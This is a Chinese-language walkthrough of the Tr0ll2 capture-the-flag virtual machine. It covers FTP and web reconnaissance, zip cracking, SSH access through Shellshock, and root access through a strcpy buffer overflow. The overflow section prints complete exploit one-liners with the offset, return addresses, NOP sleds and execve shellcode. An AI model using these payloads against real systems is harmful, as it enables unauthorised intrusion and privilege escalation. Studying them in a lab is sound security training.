c语言strcpy函数的缓冲区溢出,靶机Tr0ll2

admin 2025年1月1日22:46:23评论6 views字数 5685阅读18分57秒阅读模式
~ 不经冬寒,不知春暖 ~

本次靶机为Tr0ll,c语言中strcpy函数的缓冲区溢出 主机发现,80探测

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225014511262
c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225122303182

端口syn扫描,没有啥利用信息了

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225014613626

和上一关一样,使用ftp匿名登录试试,失败

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241224234048334

目录扫描

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225122407532

访问robots.txt

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225122502801

noob,keep_trying,dont_bother,ok_this_is_it

都是这个母老虎

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225122654010

源码What did you really think to find here? Try Harder!,这几个母老虎的源码都是这个提示

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225123036952

返回主页,查看源码

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225123158630

登录失败

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225123442524

普通ftp用户不行,那就换作者的Tr0ll,账号密码都是Tr0ll

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225124411431

目录枚举,下载下来

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225124502060

尝试各种方法后,也找不到这个密码

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225125517841

那么只剩下一个方法了,从这两个图片入手

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225125822896
c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225125838671

下载就行

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225184334108

这里下载的是这张图片

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225184907450

这张图片啥也没有

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225184921945

仔细分析图片的路径就能清楚了

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225185504770

然后根据robots的路径,找到如下图片

http://192.168.111.191/dont_bother/cat_the_troll.jpg

最终找到一个消息

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225185335409

Look Deep within y0ur_self for the answer(从 y0ur_self 处寻找答案),回到网页

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225185803073

泄露了一个密码字典

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225185820391

爆破(apt install fcrackzip)

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225191653746

失败的,就不等了

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225191406589

看样子是base64的一个编码,我们去解码一下

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225190758947

用base -d解码这个文件,并重定向到pass.txt中

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225191222272

然后再爆破,找到了zip的密码

ItCantReallyBeThisEasyRightLOL

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225191631793

一个ssh密匙,RSA

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225191800218

有了密匙,就可以登录服务器了,不支持互相签名(就是不让你登录)

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225192342671

提示了sign_and_send_pubkey: no mutual signature supported,表示SSH连接时,客户端和服务器之间无法就公钥认证使用的签名算法达成一致。此时我们要加上一个 -o 参数

ssh -i noob -o "PubkeyAcceptedKeyTypes=ssh-rsa" noob@192.168.111.191
c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225222302743

不让登录,平时的利用方式就没有了,这里有一个shellshock env环境变量绕过ssh的漏洞

Shellshock,又称Bashdoor,是Unix中广泛使用的BashShell中的一个安全漏洞,首次于2014年9月24日公开。shellshock Bash漏洞利用CVE-2014-6271被利用!

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225203231717

关键字Shellshock,Remote(远程)因为我们有了私匙,只能进行远程的漏洞利用

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225223637899

第一个payload,这是一个正反向连接的payload,看到一个SSH-2.0,,,,,目前收集到的信息,大概率不是这个

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225233504930

搜第二个,msf的脚本

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225233113901

貌似是可以执行命令的

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241225235600063

这时候可以利用ssh执行命令测试

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226000357781

成功了,内网信息收集,低版本的系统

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226000700066

筛选出了这个结果

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226000910427

使用方法

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226001914032

我们的靶机,一个23,一个29,很明显,不适用

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226001951364

已经替你们试过了

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226002039814

查找指定用户的文件,也没有利用方式

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226002726350

回家的路

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226002857786

SUID

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226002342726

suid提权一个个找呗(啥利用方式也没有)

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226002326407

有这些东西

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226214633052

切换根目录

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226003011055
c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226002950219

看到三个门

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226003036284

第一个门,自动重启了。。。。。

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226003233450

两分钟的困难模式,就是不让我输入命令了,把我给锁了两分钟。。。。

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241226003348336

查看信息,三个门都是root的文件

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227031949889

这里要用到一个工具GDB,全名叫做(GNU Debugger)是一个强大的开源调试器,主要用于调试编写在 C、C++、Fortran 等编程语言中的程序。

显示给定函数(main)的反汇编代码,main函数一般是一个程序中的主函数

disas main 

door3

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227032559066

door2

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227032851104

door1

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227032911609

发现了第二个door可能存在缓冲区溢出的漏洞,strcpy 函数详细

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227032939965

这里我们要用到msf自带的插件了,生成1024个字符(也可以不是1024,500,100都可以),用于测试程序是否存在缓冲区溢出漏洞

cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 1024
c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227181733132

在gdb中执行r00t文件,我们可以看到缓冲区溢出在 0x6a413969 这个位置

run 你生成的1024个字符

白小羽

Program received signal SIGSEGV, Segmentation fault. 程序接收到SIGSEGV信号,出现了分段故障,存在漏洞

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227181935878

使用msf的pattern_offset.rb反查 6a413969 对应上面的字符中的偏移量,为268

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227182245154

查找ESP栈的溢出地址,有了偏移量,就可以知道栈空间大小占据空间位置,接下来就要找跳板地址ESP,就可以跳到恶意代码shellcode的位置

白小羽

跳板地址:攻击者会在溢出数据后添加返回地址(即跳板地址),希望程序在执行到这条返回指令时能跳转到覆盖的恶意代码位置,从而执行攻击者的代码。

print 写入 268 个A和4个B

问:为什么是 4 个 B 而不是 2 个或 6 个?

白小羽

因为返回地址在 x86 上通常是 4 字节,使用 4 个字符(B)正好填满这一字节,每个 B 对应一个字节。

如果只使用 2 个 B(即 2 字节),返回地址将没有被完全覆盖。

而使用6个,会多于所需的字节数,但仍会覆盖返回地址。不过,这样的做法没有必要,因为多余的 B 不会提供任何额外的好处,只是冗余。

r $(python -c 'print "A"*268 + "B"*4')   # 在GDB调试工具中 r表示启动调试当前程序
info r # 分析程序调试过程中的状态,在检查程序崩溃、调试函数调用及访问变量时,经常使用,前面已经有一个错误Program received signal SIGSEGV, Segmentation fault.,所以可以直接使用info r查看寄存器状态

起始的 esp 内容

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227183508292

在生成的字符后面再添加几个字符,执行以后看一下缓冲区溢出的 esp 内容

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227185200696

返回了一个新的地址

结论:我们要构造268个字符偏移量,将esp位置放在268个字符之后,这样esp位置就存在了返回的栈里,并在esp字符之后加入shellcode,这样完成了对缓冲区溢出的利用。

python代码将 0xbffffb80 起始的esp地址转化为十六进制字节序列的形式

address = 0xbffffb80
byte_sequence = address.to_bytes(4, byteorder='little')
hex_representation = ''.join(f'\x{byte:02x}' for byte in byte_sequence)
print(hex_representation) # x80xfbxffxbf

查看内核信息

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227212112388

x86系统

如果输出是 x86_64,则表示你在使用 64 位系统(x64)。

如果输出是 i686i386,则表示你在使用 32 位系统(x86)。

Shell-Storm 搜索关键字获取shellcode,x86 - execve

https://shell-storm.org/shellcode/index.html

白小羽

execve:表示可执行文件的意思

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227212748996

然后我们需要的是shellcode,所以关键字就是,execve、x86、shellcode,就能定位到这个,中间的哪个表示需要执行的命令也就是获取一个shell

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227213244966

这下就能组成一个payload了

./r00t $(python -c 'print "A"*偏移量 + "esp起始地址" + "nop sled"*20 + "shellcode"')

./r00t $(python -c 'print "A"*268 + "x80xfbxffxbf" + "x90"*20 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"')

白小羽

nop sled 是一种可以破解栈随机化的缓冲区溢出攻击方式

栈随机化指运行时栈的起始地址为随机的,所以我们存放shellcode的esp的地址也会发生对应的改变

在shellcode前注入很长的 nop(x90) 指令 (无操作,仅使程序计数器加一)序列,

程序计数器逐步加一,直到到达攻击代码的存在的地址

c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227213747063

提权成功

另外这个esp起始地址一定是要固定不变的吗?

我们把他修改为返回后的esp地址也就是0xbffffb50,之前是0xbffffb80,上python代码(这个脚本可以保存好,经常要用)

address = 0xbffffb80
byte_sequence = address.to_bytes(4, byteorder='little')
hex_representation = ''.join(f'\x{byte:02x}' for byte in byte_sequence)
print(hex_representation) # x50xfbxffxbf

而我修改了这个nop sled数量为400个,照样也是可以提权的

./r00t $(python -c 'print "A"*偏移量 + "esp其他地址" + "nop sled"*400 + "shellcode"')
./r00t $(python -c 'print "A"*268 + "x50xfbxffxbf" + "x90"*400 + "xbax19xb3xb8x79xdbxdexd9x74x24xf4x5dx29xc9xb1x0bx31x55x15x83xedxfcx03x55x11xe2xecxd9xb3x21x97x4cxa2xb9x8ax13xa3xddxbcxfcxc0x49x3cx6bx08xe8x55x05xdfx0fxf7x31xd7xcfxf7xc1xc7xadx9exafx38x41x08x30x10xf6x41xd1x53x78"')
c语言strcpy函数的缓冲区溢出,靶机Tr0ll2
image-20241227224933703

这个案例就证明只要nop sled枚举的地址足够多,成功几率还是很大的

往期推荐

FTP匿名登录

【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!

Mac 全系列存在无条件 RCE

一款开源持续更新的后渗透免杀框架

DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程

原文始发于微信公众号(泷羽Sec):c语言strcpy函数的缓冲区溢出,靶机Tr0ll2

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月1日22:46:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   c语言strcpy函数的缓冲区溢出,靶机Tr0ll2https://cn-sec.com/archives/3569308.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息